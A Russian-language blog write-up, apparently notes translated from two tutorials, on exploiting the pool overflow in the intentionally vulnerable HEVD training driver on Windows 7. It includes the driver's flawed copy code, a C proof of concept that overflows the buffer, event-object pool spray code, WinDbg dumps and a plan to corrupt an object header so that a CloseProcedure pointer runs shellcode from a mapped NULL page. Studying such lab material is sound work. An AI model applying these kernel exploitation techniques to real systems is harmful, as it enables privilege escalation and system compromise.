truebad0ur@home:~$

будет перевод вот этой статейки И ещё вот этой

Pool Feng-Shui

Перед тем как мы погрузимся в Pool Overflow, нам нужно понять базу пула, как его использовать для наших целей. Действительно хорошая статья по этому поводу есть у Tarjei Mandt. Настоятельно рекумендуется прочитать её перед тем, как идти дальше

Ядерный пул очень похож на кучу Windows, так как он используется для хранения динамических аллокаций памяти. Как и Heap Spray для подготовки(?) к обычным приложениям, в пространстве ядра нам нужно найти способ подготовки(?) пула таким образом, чтобы мы могли предсказуемо вызвать наш шеллкод из памяти. Очень важно понимать концепцию аллокатора пула и как работает механизм аллокации и деаллокации пула.

Для нашего HEVD драйвера уязвимый пользовательский буфер аллоциется в невыгружемом пуле, так что нам нужно найти технику для грума(?) невыгружаемого пула. Windows предоставляет объект события, который хранится в невыгружаемом пуле и может быть создан с помощью CreateEvent:

HANDLE WINAPI CreateEvent(
  _In_opt_ LPSECURITY_ATTRIBUTES lpEventAttributes,
  _In_     BOOL                  bManualReset,
  _In_     BOOL                  bInitialState,
  _In_opt_ LPCTSTR               lpName
);

Здесь нам нужно создать два больших массива объектов события с помощью этого апи и затем создать дыры в этом аллоцированном чанке с помощью освобождения некоторых из объектов события в одном из массивов, используя CloseHandle, которые после объединения объединятся в большее большие свободные чанки:

BOOL WINAPI CloseHandle(
  _In_ HANDLE hObject
);

В эти свободные чанки нам нужно будет вставить наш уязвимый пользовательский буфер таким образом, чтобы он надежно перезаписывал нужную область памяти каждый раз, как мы будем “портить” соседний заголовок объекта события, чтобы перенаправить поток выполнения на наш шеллкод.

После этого мы положим указатель на наш шеллкод таким образом, чтобы он мог быть вызван с помощью манипуляций нашим покоррапченным заголовком. Мы будем фейкать заголовок OBJECT_TYPE, переписывая указатель на одну из процедур в OBJECT_TYPE_INITIALIZER

В сорцах видим то же: нет проверким на длину переданного буфера.

__try {
        DbgPrint("[+] Allocating Pool chunk\n");
 
        // Allocate Pool chunk
        KernelBuffer = ExAllocatePoolWithTag(NonPagedPool,
                                             (SIZE_T)POOL_BUFFER_SIZE,
                                             (ULONG)POOL_TAG);
 
        if (!KernelBuffer) {
            // Unable to allocate Pool chunk
            DbgPrint("[-] Unable to allocate Pool chunk\n");
 
            Status = STATUS_NO_MEMORY;
            return Status;
        }
        else {
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
            DbgPrint("[+] Pool Size: 0x%X\n", (SIZE_T)POOL_BUFFER_SIZE);
            DbgPrint("[+] Pool Chunk: 0x%p\n", KernelBuffer);
        }
 
        // Verify if the buffer resides in user mode
        ProbeForRead(UserBuffer, (SIZE_T)POOL_BUFFER_SIZE, (ULONG)__alignof(UCHAR));
 
        DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
        DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
        DbgPrint("[+] KernelBuffer: 0x%p\n", KernelBuffer);
        DbgPrint("[+] KernelBuffer Size: 0x%X\n", (SIZE_T)POOL_BUFFER_SIZE);
 
#ifdef SECURE
        // Secure Note: This is secure because the developer is passing a size
        // equal to size of the allocated Pool chunk to RtlCopyMemory()/memcpy().
        // Hence, there will be no overflow
        RtlCopyMemory(KernelBuffer, UserBuffer, (SIZE_T)POOL_BUFFER_SIZE);
#else
        DbgPrint("[+] Triggering Pool Overflow\n");
 
        // Vulnerability Note: This is a vanilla Pool Based Overflow vulnerability
        // because the developer is passing the user supplied value directly to
        // RtlCopyMemory()/memcpy() without validating if the size is greater or
        // equal to the size of the allocated Pool chunk
        RtlCopyMemory(KernelBuffer, UserBuffer, Size);

Снова пишем сплойт, ставим бряку и смотрим:

#include <Windows.h>
#include <string.h>
#include <stdio.h>

#define IO_CODE 0x22200f

const char kDevName[] = "\\\\.\\HackSysExtremeVulnerableDriver";

int main() {

    printf("[+] Calling CreateFileA() to obtain a handle to driver\n");
    HANDLE hDevice = CreateFileA(kDevName,
        GENERIC_READ | GENERIC_WRITE,
        0,
        NULL,
        OPEN_EXISTING,
        0,
        NULL
    );
    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[-] Error - dailed to get file handle!\n");
        system("pause");
        return -1;
    }
    printf("[+] Successfully obtained a handle to the driver\n");

    const char* poc = "AAAABBBB222233334444555566667777888899990000zzzzxxxxccccvvvvbbbbnnnnmmmmaaaassssddddffffgggghhhhjjjjkkkkllllpppp";
    //printf("%d", sizeof(poc));
    DWORD bytesRetn;

    printf("[+] Starting interaction with the driver\n");
    DeviceIoControl(hDevice, IO_CODE, (LPVOID)poc, 100, NULL, 0, &bytesRetn, NULL);
    //system("cmd.exe");
    CloseHandle(hDevice);

    return 0;
}
in windbg:
ed nt!Kd_Default_Mask 8

.sympath+ location_of_HEVD_pdb
.reload 
.reload /f

bp HEVD!TriggerPoolOverflow
bp HEVD!TriggerPoolOverflow+e6
kd> g
[+] Allocating Pool chunk
[+] Pool Tag: 'kcaH'
[+] Pool Type: NonPagedPool
[+] Pool Size: 0x1F8
[+] Pool Chunk: 0x8509E008
[+] UserBuffer: 0x012721B0
[+] UserBuffer Size: 0x64
[+] KernelBuffer: 0x8509E008
[+] KernelBuffer Size: 0x1F8
[+] Triggering Pool Overflow
[+] Freeing Pool chunk
[+] Pool Tag: 'kcaH'
[+] Pool Chunk: 0x8509E008
****** HACKSYS_EVD_IOCTL_POOL_OVERFLOW ******

Попробуем длину ровно 0x1F8, будем на границе допустимого:

kd> g
[+] Allocating Pool chunk
[+] Pool Tag: 'kcaH'
[+] Pool Type: NonPagedPool
[+] Pool Size: 0x1F8
[+] Pool Chunk: 0x850C4D50
[+] UserBuffer: 0x00375668
[+] UserBuffer Size: 0x1F8
[+] KernelBuffer: 0x850C4D50
[+] KernelBuffer Size: 0x1F8
[+] Triggering Pool Overflow


kd> !pool 0x850C4D50
Pool page 850c4d50 region is Unknown
 850c4000 size:   48 previous size:    0  (Free )  Vad 
 850c4048 size:   48 previous size:   48  (Free )  Vad 
 850c4090 size:   48 previous size:   48  (Free )  Vad 
 850c40d8 size:   48 previous size:   48  (Free )  Vad 
 850c4120 size:   48 previous size:   48  (Free )  Vad 
 850c4168 size:   28 previous size:   48  (Allocated)  FSro
 850c4190 size:   b8 previous size:   28  (Allocated)  File (Protected)
 850c4248 size:  128 previous size:   b8  (Allocated)  Ntfi
 850c4370 size:   98 previous size:  128  (Allocated)  MmCa
 850c4408 size:  168 previous size:   98  (Allocated)  CcSc
 850c4570 size:   68 previous size:  168  (Allocated)  FMsl
 850c45d8 size:   c8 previous size:   68  (Allocated)  Ntfx
 850c46a0 size:   b8 previous size:   c8  (Allocated)  File (Protected)
 850c4758 size:  128 previous size:   b8  (Allocated)  Ntfi
 850c4880 size:   98 previous size:  128  (Allocated)  MmCa
 850c4918 size:   28 previous size:   98  (Free)       CcSc
 850c4940 size:  140 previous size:   28  (Free )  Io   Process: 86db94b8
 850c4a80 size:  128 previous size:  140  (Allocated)  Ntfi
 850c4ba8 size:   b8 previous size:  128  (Allocated)  File (Protected)
 850c4c60 size:   c8 previous size:   b8  (Allocated)  Ntfx
 850c4d28 size:   20 previous size:   c8  (Free)       Io  
*850c4d48 size:  200 previous size:   20  (Allocated) *Hack
    Owning component : Unknown (update pooltag.txt)
 850c4f48 size:   b8 previous size:  200  (Allocated)  File (Protected)


 kd> dd 850c4d48 L90
850c4d48  04400004 6b636148 00000000 0030e810
850c4d58  41414141 41414141 41414141 41414141
850c4d68  41414141 41414141 41414141 41414141
850c4d78  41414141 41414141 41414141 41414141
850c4d88  41414141 41414141 41414141 41414141
850c4d98  41414141 41414141 41414141 41414141
850c4da8  41414141 41414141 41414141 41414141
850c4db8  41414141 41414141 41414141 41414141
850c4dc8  41414141 41414141 41414141 41414141
850c4dd8  41414141 41414141 41414141 41414141
850c4de8  41414141 41414141 41414141 41414141
850c4df8  41414141 41414141 41414141 41414141
850c4e08  41414141 41414141 41414141 41414141
850c4e18  41414141 41414141 41414141 41414141
850c4e28  41414141 41414141 41414141 41414141
850c4e38  41414141 41414141 41414141 41414141
850c4e48  41414141 41414141 41414141 41414141
850c4e58  41414141 41414141 41414141 41414141
850c4e68  41414141 41414141 41414141 41414141
850c4e78  41414141 41414141 41414141 41414141
850c4e88  41414141 41414141 41414141 41414141
850c4e98  41414141 41414141 41414141 41414141
850c4ea8  41414141 41414141 41414141 41414141
850c4eb8  41414141 41414141 41414141 41414141
850c4ec8  41414141 41414141 41414141 41414141
850c4ed8  41414141 41414141 41414141 41414141
850c4ee8  41414141 41414141 41414141 41414141
850c4ef8  41414141 41414141 41414141 41414141
850c4f08  41414141 41414141 41414141 41414141
850c4f18  41414141 41414141 41414141 41414141
850c4f28  41414141 41414141 41414141 41414141
850c4f38  41414141 41414141 41414141 41414141
850c4f48  04170040 e56c6946 00000400 000000f8
850c4f58  00000000 00000000 00000000 00000000
850c4f68  00000001 00000000 00000000 400c001c
850c4f78  82746b40 00000000 00800005 854962c0

kd> dd 850c4f48
850c4f48  04170040 e56c6946 00000400 000000f8
850c4f58  00000000 00000000 00000000 00000000
850c4f68  00000001 00000000 00000000 400c001c
850c4f78  82746b40 00000000 00800005 854962c0

Видим, что влезли идеально
...
const char* poc = std::string(0x1f8, 'A').c_str();
...
DeviceIoControl(hDevice, IO_CODE, (LPVOID)poc, 0x1f8, NULL, 0, &bytesRetn, NULL);
...

Впереди нашего чанка хедер следующего, если мы его покорраптим, улетим в BSOD

kd> dd 850c4f48-8
850c4f40  41414141 41414141 04170040 e56c6946
850c4f50  00000400 000000f8 00000000 00000000
850c4f60  00000000 00000000 00000001 00000000

Поменяем длину на 0x200 и посмотрим, что будет:

kd> !pool 0x850C4D50
Pool page 850c4d50 region is Unknown
 850c4000 size:   48 previous size:    0  (Allocated)  Vad 
 850c4048 size:   48 previous size:   48  (Allocated)  Vad 
 850c4090 size:   48 previous size:   48  (Allocated)  Vad 
 850c40d8 size:   48 previous size:   48  (Allocated)  Vad 
 850c4120 size:   48 previous size:   48  (Allocated)  Vad 
 850c4168 size:   28 previous size:   48  (Allocated)  FSro
 850c4190 size:   b8 previous size:   28  (Allocated)  File (Protected)
 850c4248 size:  128 previous size:   b8  (Allocated)  Ntfi
 850c4370 size:   98 previous size:  128  (Allocated)  MmCa
 850c4408 size:  168 previous size:   98  (Allocated)  CcSc
 850c4570 size:   68 previous size:  168  (Allocated)  FMsl
 850c45d8 size:   c8 previous size:   68  (Allocated)  Ntfx
 850c46a0 size:   b8 previous size:   c8  (Allocated)  File (Protected)
 850c4758 size:  128 previous size:   b8  (Allocated)  Ntfi
 850c4880 size:   98 previous size:  128  (Allocated)  MmCa
 850c4918 size:   28 previous size:   98  (Free)       CcSc
 850c4940 size:  140 previous size:   28  (Free )  Io   Process: 86db94b8
 850c4a80 size:  128 previous size:  140  (Allocated)  Ntfi
 850c4ba8 size:   b8 previous size:  128  (Allocated)  File (Protected)
 850c4c60 size:   c8 previous size:   b8  (Allocated)  Ntfx
 850c4d28 size:   20 previous size:   c8  (Free)       Io  
*850c4d48 size:  200 previous size:   20  (Allocated) *Hack
    Owning component : Unknown (update pooltag.txt)

850c4f48 doesn't look like a valid small pool allocation, checking to see
if the entire page is actually part of a large page allocation...

850c4f48 is not a valid large pool allocation, checking large session pool...
850c4f48 is not valid pool. Checking for freed (or corrupt) pool
Bad previous allocation size @850c4f48, last size was 40


kd> dd 850c4f48-8
ReadVirtual: 850c4f40 not properly sign extended
850c4f40  41414141 41414141 41414141 41414141
850c4f50  00000400 000000f8 00000000 00000000
850c4f60  00000000 00000000 00000001 00000000
850c4f70  00000000 400c001c 82746b40 00000000

A fatal system error has occurred.

Интересная вещь, которую нужно отметить - это как мы на самом деле можем контроилровать соседний заголовок с помощью нашего переполнения. Это уязвимость, которую мы будем эксплуатировать грумингом(?) предсказуемым образом, избавлясь от рандома в нашем пуле. Для этого упомянутый ранее CreateEvent подходит идеально, так как он имее тразмер 0x40, который идеально подойдёт для размера нашего пула 0x200

Мы будем спреить большое количество объектов событий, хранить хендлы на них в массивах и смотреть, как это влияет на пул

HANDLE spray_event1[10000];
HANDLE spray_event2[5000];

for (int i = 0; i < 10000; i++) {
    spray_event1[i] = CreateEventA(0, 0, 0, 0);
}

for (int i = 0; i < 5000; i++) {
    spray_event2[i] = CreateEventA(0, 0, 0, 0);
}
kd> !pool 0x850B4620
Pool page 850b4620 region is Unknown
 850b4000 size:   40 previous size:    0  (Allocated)  Even (Protected)
 850b4040 size:  5d8 previous size:   40  (Free)       pter
*850b4618 size:  200 previous size:  5d8  (Allocated) *Hack
    Owning component : Unknown (update pooltag.txt)
ReadVirtual: 850b4914 not properly sign extended
 850b4818 size:  100 previous size:  200  (Allocated)  Io   Process: 86db7030
 850b4918 size:   a8 previous size:  100  (Allocated)  MmWe
ReadVirtual: 850b4afc not properly sign extended
 850b49c0 size:  140 previous size:   a8  (Allocated)  Io   Process: 86db7030
ReadVirtual: 850b4bfc not properly sign extended
 850b4b00 size:  100 previous size:  140  (Free )  Io   Process: 86db7030
 850b4c00 size:   40 previous size:  100  (Allocated)  Even (Protected)
 850b4c40 size:   40 previous size:   40  (Allocated)  Even (Protected)
 850b4c80 size:   40 previous size:   40  (Allocated)  Even (Protected)
 850b4cc0 size:   40 previous size:   40  (Allocated)  Even (Protected)
 850b4d00 size:   40 previous size:   40  (Allocated)  Even (Protected)
 850b4d40 size:   40 previous size:   40  (Allocated)  Even (Protected)
 850b4d80 size:   40 previous size:   40  (Allocated)  Even (Protected)
 850b4dc0 size:   40 previous size:   40  (Allocated)  Even (Protected)
 850b4e00 size:   40 previous size:   40  (Allocated)  Even (Protected)
 850b4e40 size:   40 previous size:   40  (Allocated)  Even (Protected)
 850b4e80 size:   40 previous size:   40  (Allocated)  Even (Protected)
 850b4ec0 size:   40 previous size:   40  (Allocated)  Even (Protected)
 850b4f00 size:   40 previous size:   40  (Allocated)  Even (Protected)
 850b4f40 size:   40 previous size:   40  (Allocated)  Even (Protected)
 850b4f80 size:   40 previous size:   40  (Allocated)  Even (Protected)
 850b4fc0 size:   40 previous size:   40  (Allocated)  Even (Protected)

Наши объекты событий заспреены в невыгружаемом пуле. Теперь нам нужно создать дыры и реаллокейтнуть наш уязвимый буфер Hack в созданные дыры. После реаллоцирования нашего уязвимого буфера нам нужно покорраптить хедер соседнего пула так, чтобы он вел к нашему шеллкоду. Размер объекта события будет 0x40 (0x38 + 0x8), включая заголовок пула

kd> !pool 0x850B4620
Pool page 850b4620 region is Unknown
 850b4000 size:   40 previous size:    0  (Allocated)  Even (Protected)
 850b4040 size:   28 previous size:   40  (Free)       pter
 850b4068 size:  388 previous size:   28  (Free )  XSav
 850b43f0 size:   40 previous size:  388  (Free )  Ussb Process: 86db7030
 850b4430 size:  140 previous size:   40  (Allocated)  Io   Process: 86db7030
 850b4570 size:   a8 previous size:  140  (Free )  MmWe
*850b4618 size:  200 previous size:   a8  (Allocated) *Hack
    Owning component : Unknown (update pooltag.txt)
 850b4818 size:   60 previous size:  200  (Free)       Io  
 850b4878 size:  388 previous size:   60  (Free )  XSav
 850b4c00 size:   40 previous size:  388  (Allocated)  Even (Protected)
 850b4c40 size:   40 previous size:   40  (Allocated)  Even (Protected)


kd> dt _POOL_HEADER 850b4618
nt!_POOL_HEADER
   +0x000 PreviousSize     : 0y000010101 (0x15)
   +0x000 PoolIndex        : 0y0000000 (0)
   +0x002 BlockSize        : 0y001000000 (0x40)
   +0x002 PoolType         : 0y0000010 (0x2)
   +0x000 Ulong1           : 0x4400015
   +0x004 PoolTag          : 0x6b636148
   +0x004 AllocatorBackTraceIndex : 0x6148
   +0x006 PoolTagHash      : 0x6b63

Разберём хедеры:

kd> g
[+] Allocating Pool chunk
[+] Pool Tag: 'kcaH'
[+] Pool Type: NonPagedPool
[+] Pool Size: 0x1F8
[+] Pool Chunk: 0x8524D4C8
[+] UserBuffer: 0x00098908
[+] UserBuffer Size: 0x1F8
[+] KernelBuffer: 0x8524D4C8
[+] KernelBuffer Size: 0x1F8
[+] Triggering Pool Overflow
Break instruction exception - code 80000003 (first chance)
HEVD!TriggerPoolOverflow+0xd8:
a855a202 ff750c          push    dword ptr [ebp+0Ch]

kd> !pool 0x8524D4C8
Pool page 8524d4c8 region is Unknown
 8524d000 size:   40 previous size:    0  (Allocated)  Even (Protected)
 8524d040 size:   f8 previous size:   40  (Free)       r...
 8524d138 size:  388 previous size:   f8  (Free )  XSav
*8524d4c0 size:  200 previous size:  388  (Allocated) *Hack
        Owning component : Unknown (update pooltag.txt)
ReadVirtual: 8524d7fc not properly sign extended
 8524d6c0 size:  140 previous size:  200  (Allocated)  Io   Process: 86d7e228
 8524d800 size:   40 previous size:  140  (Allocated)  Even (Protected)
 8524d840 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8524d880 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8524d8c0 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8524d900 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8524d940 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8524d980 size:   40 previous size:   40  (Allocated)  Even (Protected)

kd> dd 8524d6c0-8
ReadVirtual: 8524d6b8 not properly sign extended
8524d6b8  41414141 41414141 14280040 20206f49
8524d6c8  00320033 0063005c 00720065 00700074
8524d6d8  006f0072 002e0070 006c0064 0000006c
8524d6e8  c0100002 0424007e 95d23b8f 00000000
8524d6f8  1c210007 20206f49 00000000 00630069
8524d708  005c0065 00610048 00640072 00690064
8524d718  006b0073 006f0056 0075006c 0065006d
8524d728  005c0031 00690057 0064006e 0077006f

Так как мы спреим невыгружаемый пул с помощью объектов событий, мы можем просто добавить наши значения в конец нашего уязвимого буфера. Но это не сработает, так как хедеры имеют внутреннюю структуру, нужна некоторая модификация. Давайте копнём глубже в хедеры, чтобы понять, что модифицировать:

Pool

Вещь, которая нас интересует, это TypeIndex, который на самом деле оффсет (0xC) в массиве указателей, который объявляет OBJECT_TYPE каждого объекта, который поддерживает Windows.

kd> dd nt!ObTypeIndexTable
8277aee0  00000000 bad0b0b0 84ec7860 84ec7798
8277aef0  84ec76d0 84ec74a0 84ec7360 84ec7298
8277af00  84ec71d0 84ecef78 84eceeb0 84ece818       84ec71d0 - оффсет 0xC
8277af10  84f60418 84f60350 84f61418 84f61350
8277af20  84f5f3f0 84f5f328 84f629b8 84f628f0
8277af30  84f62828 84f62760 84f62698 84f625d0
8277af40  84f62508 84f62440 84f62378 84f63040
8277af50  84f63f78 84f63bd8 84f63b10 84f63a48

kd> dt nt!_OBJECT_TYPE 84f60418 .
   +0x000 TypeList         :  [ 0x84f60418 - 0x84f60418 ]
      +0x000 Flink            : 0x84f60418 _LIST_ENTRY [ 0x84f60418 - 0x84f60418 ]
      +0x004 Blink            : 0x84f60418 _LIST_ENTRY [ 0x84f60418 - 0x84f60418 ]
   +0x008 Name             :  "Event"
      +0x000 Length           : 0xa
      +0x002 MaximumLength    : 0xc
      +0x004 Buffer           : 0x8cc08a88  "Event"
   +0x010 DefaultObject    : 
   +0x014 Index            : 0xc ''
   +0x018 TotalNumberOfObjects : 0x4643
   +0x01c TotalNumberOfHandles : 0x466f
   +0x020 HighWaterNumberOfObjects : 0x4643
   +0x024 HighWaterNumberOfHandles : 0x466f
   +0x028 TypeInfo         : 
      +0x000 Length           : 0x50
      +0x002 ObjectTypeFlags  : 0 ''
      +0x002 CaseInsensitive  : 0y0
      +0x002 UnnamedObjectsOnly : 0y0
      +0x002 UseDefaultObject : 0y0
      +0x002 SecurityRequired : 0y0
      +0x002 MaintainHandleCount : 0y0
      +0x002 MaintainTypeList : 0y0
      +0x002 SupportsObjectCallbacks : 0y0
      +0x002 CacheAligned     : 0y0
      +0x004 ObjectTypeCode   : 2
      +0x008 InvalidAttributes : 0x100
      +0x00c GenericMapping   : _GENERIC_MAPPING
      +0x01c ValidAccessMask  : 0x1f0003
      +0x020 RetainAccess     : 0
      +0x024 PoolType         : 0 ( NonPagedPool )
      +0x028 DefaultPagedPoolCharge : 0
      +0x02c DefaultNonPagedPoolCharge : 0x40
      +0x030 DumpProcedure    : (null) 
      +0x034 OpenProcedure    : (null) 
      +0x038 CloseProcedure   : (null) 

Важные моменты:

  • Первый указатель 00000000 очень важен, так как мы на Windows 7 (объяснение дальше)
  • Следующий выделенный указатель 84f60418, который по оффсету 0xC от начала
  • Анализируя, мы понимаем, что это объект типа Event
  • Теперь самое интеерсное: член TypeInfo по оффсету 0x28
    • В конце этого члена есть вызовы нескольких процедур, можем использовать удобную из предоставленных. Будем импользовать CloseProcedure, находящуюся по 0x38
    • Оффсет на CloseProcedure становится 0x28 + 0x38 = 0x60
    • 0x60 - это указатель, который мы будем переписывать указателем на шеллкод и затем вызывать метод CloseProcedure

Наша цель - изменить оффсет TypeIndex с 0xc на 0x0, поскольку первый указатель является нулевым, а в Windows 7 существует недостаток, при котором возможно отображение NULL-страниц с помощью вызова NtAllocateVirtualMemory

NTSTATUS ZwAllocateVirtualMemory(
  _In_    HANDLE    ProcessHandle,
  _Inout_ PVOID     *BaseAddress,
  _In_    ULONG_PTR ZeroBits,
  _Inout_ PSIZE_T   RegionSize,
  _In_    ULONG     AllocationType,
  _In_    ULONG     Protect
);

И затем пишем указатель на наш шеллкод в нужную локацию (0x60), используя вызов WriteProcessMemory

BOOL WINAPI WriteProcessMemory(
  _In_  HANDLE  hProcess,
  _In_  LPVOID  lpBaseAddress,
  _In_  LPCVOID lpBuffer,
  _In_  SIZE_T  nSize,
  _Out_ SIZE_T  *lpNumberOfBytesWritten
);

Ещё одно объяснение из следующей статьи

(дальше делал по коду из второго мануала, TODO: переделать, убрать векторы)

Общая идея атаки

Что у нас есть сейчас? - возможность перезаписать память пула. Чтобы получить из этого выгоду, нам нужно найти способ поменять состояние пула на предсказуемое нами. Если мы повредим поля, мы улетим в БСОД.

В целом, невыгружаемый пул фрагментирован, что значит, что в нём есть дыры из чанков, которые были освобождены другими процессами системы. Нам нужно заполнить эти дыры спрея кучу объектов в невыгружаемый пул так, что механизм аллокации положит наши чанки в эти пустые слоты. Как только это получится, нам нужно ещё заспреить объектов, чтобы самые частые(?) объекты в пуле были нашими.

Приводя аналогию,

В качестве аналогии, если бы у нас был мешок с фигурами из шахматного набора, у нас было бы мало шансов вытащить из него короля; однако, если мы добавим в мешок 15 000 королей, наши шансы значительно возрастут!

И так, две цели:

  • заспреить пул объектами, пока органически существующие в пуле дыри не заполнятся нашими объектами
  • заспреить пул снова, чтобы увеличить количество объектов, которые мы аллоцировали, чтобы они были последовательными в невыгружаемом пуле

Далее взять наши аллокации, которые образовали большой цельный блок, и проделаем в них дырки размеров с наш ядерный буфер, который мы можем аллоцировать с помощью функций драйвера. Наш ядерный буфер размером 0x200. Таким образом, когда наш буфер аллоцирован, аллокатор положит его по освобождённой 0x200 дыре, которую мы только что создали. Теперь наша аллокация(буфер) полностью окружена объектами, которые мы сами заспреили. Это прекрасно, потому что теперь, когда наш буфер переполняет соседней аллокации пула, мы будем знать, что конкретно мы перезаписываем, потому что это будет чанк, который мы сами и аллоцировали

Мы будем использовать эту возможность перезаписи данных, чтобы предсказуемо перезаписать часть данных в одном из наших аллоцированных объектов, который, после освобождения, закончится тем, что ядро выполнит указатель функции, который мы заполним шеллкодом. Теперь план такой:

  • спреим пул объектами, пока все органические дырки не будут заполнены нашими объектами
  • спреим пул снова…
  • делаем 0x200 дыры в аллокациях
  • используем функции драйвера, чтобы заполнить нашим ядерным буфером новые дыры
  • чтобы это распределение предсказуемо перезаписало информацию в соседней аллокации, что приведет к выполнению ядром нашего шеллкода, когда поврежденная аллокация будет освобождена

Event objects

Автор блога информирует нас, что Event Object идеальны для этой задачи, потому что их размер 0x40. Мы можем освободить 8 Event Objects и получить наши дырки размером 0x200 байт.

>>> 0x200 % 0x40
0
>>> 0x200 / 0x40
8.0

На параметры нам всё равно, так что будем вызывать CreateEventA с нулями

Что мы видим? Что наш чанк hack посередине аллоцированных CreateEvent’ом:

kd> !pool 0x8513C8C8
Pool page 8513c8c8 region is Unknown
 8513c000 size:  388 previous size:    0  (Free )  XSav
 8513c388 size:  438 previous size:  388  (Free)       ....
 8513c7c0 size:   40 previous size:  438  (Allocated)  Even (Protected)
 8513c800 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8513c840 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8513c880 size:   40 previous size:   40  (Allocated)  Even (Protected)
*8513c8c0 size:  200 previous size:   40  (Allocated) *Hack
        Owning component : Unknown (update pooltag.txt)
 8513cac0 size:   40 previous size:  200  (Allocated)  Even (Protected)
 8513cb00 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8513cb40 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8513cb80 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8513cbc0 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8513cc00 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8513cc40 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8513cc80 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8513ccc0 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8513cd00 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8513cd40 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8513cd80 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8513cdc0 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8513ce00 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8513ce40 size:  1c0 previous size:   40  (Free)       Even

И там у нас:

kd> dd 8513c8c0 L30
8513c8c0  04400008 6b636148 41414141 41414141
8513c8d0  41414141 41414141 41414141 41414141
8513c8e0  41414141 41414141 41414141 41414141
8513c8f0  41414141 41414141 41414141 41414141
8513c900  41414141 41414141 41414141 41414141
8513c910  41414141 41414141 41414141 41414141
8513c920  41414141 41414141 41414141 41414141
8513c930  41414141 41414141 41414141 41414141
8513c940  41414141 41414141 41414141 41414141
8513c950  41414141 41414141 41414141 41414141
8513c960  41414141 41414141 41414141 41414141
8513c970  41414141 41414141 41414141 41414141

Кстати, указатель на этот ядерный пул содержится в eax (вместо принта в самом драйвере можно было получить адрес ещё из eax) Этот адрес - на 8 байт дальше самой аллокации, потому что 4-х байтовый лонг и тег кладутся до непосредственного буфера.

kd> !pool 8513c8c0
Pool page 8513c8c0 region is Unknown
 8513c000 size:  388 previous size:    0  (Free )  XSav
 8513c388 size:  438 previous size:  388  (Free)       ....
 8513c7c0 size:   40 previous size:  438  (Allocated)  Even (Protected)
 8513c800 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8513c840 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8513c880 size:   40 previous size:   40  (Allocated)  Even (Protected)
*8513c8c0 size:  200 previous size:   40  (Allocated) *Hack
        Owning component : Unknown (update pooltag.txt)
 8513cac0 size:   40 previous size:  200  (Allocated)  Even (Protected)
 8513cb00 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8513cb40 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8513cb80 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8513cbc0 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8513cc00 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8513cc40 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8513cc80 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8513ccc0 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8513cd00 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8513cd40 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8513cd80 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8513cdc0 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8513ce00 size:   40 previous size:   40  (Allocated)  Even (Protected)
 8513ce40 size:  1c0 previous size:   40  (Free)       Even
kd> dt nt!_POOL_HEADER 8513c8c0
   +0x000 PreviousSize     : 0y000001000 (0x8)
   +0x000 PoolIndex        : 0y0000000 (0)
   +0x002 BlockSize        : 0y001000000 (0x40)
   +0x002 PoolType         : 0y0000010 (0x2)
   +0x000 Ulong1           : 0x4400008
   +0x004 PoolTag          : 0x6b636148
   +0x004 AllocatorBackTraceIndex : 0x6148
   +0x006 PoolTagHash      : 0x6b63
kd> db 8513c8c0+4
8513c8c4  48 61 63 6b 41 41 41 41-41 41 41 41 41 41 41 41  HackAAAAAAAAAAAA
kd> dt nt!_POOL_HEADER 8513cdc0
   +0x000 PreviousSize     : 0y000001000 (0x8)
   +0x000 PoolIndex        : 0y0000000 (0)
   +0x002 BlockSize        : 0y000001000 (0x8)
   +0x002 PoolType         : 0y0000010 (0x2)
   +0x000 Ulong1           : 0x4080008
   +0x004 PoolTag          : 0xee657645
   +0x004 AllocatorBackTraceIndex : 0x7645
   +0x006 PoolTagHash      : 0xee65

kd> dt nt!_OBJECT_HEADER_QUOTA_INFO 8513cdc0+8
   +0x000 PagedPoolCharge  : 0
   +0x004 NonPagedPoolCharge : 0x40
   +0x008 SecurityDescriptorCharge : 0
   +0x00c SecurityDescriptorQuotaBlock : (null)

kd> dt nt!_OBJECT_HEADER 8513cdc0+8+10
   +0x000 PointerCount     : 0n1
   +0x004 HandleCount      : 0n1
   +0x004 NextToFree       : 0x00000001 Void
   +0x008 Lock             : _EX_PUSH_LOCK
   +0x00c TypeIndex        : 0xc ''
   +0x00d TraceFlags       : 0 ''
   +0x00e InfoMask         : 0x8 ''
   +0x00f Flags            : 0 ''
   +0x010 ObjectCreateInfo : 0x86e7f640 _OBJECT_CREATE_INFORMATION
   +0x010 QuotaBlockCharged : 0x86e7f640 Void
   +0x014 SecurityDescriptor : (null) 
   +0x018 Body             : _QUAD

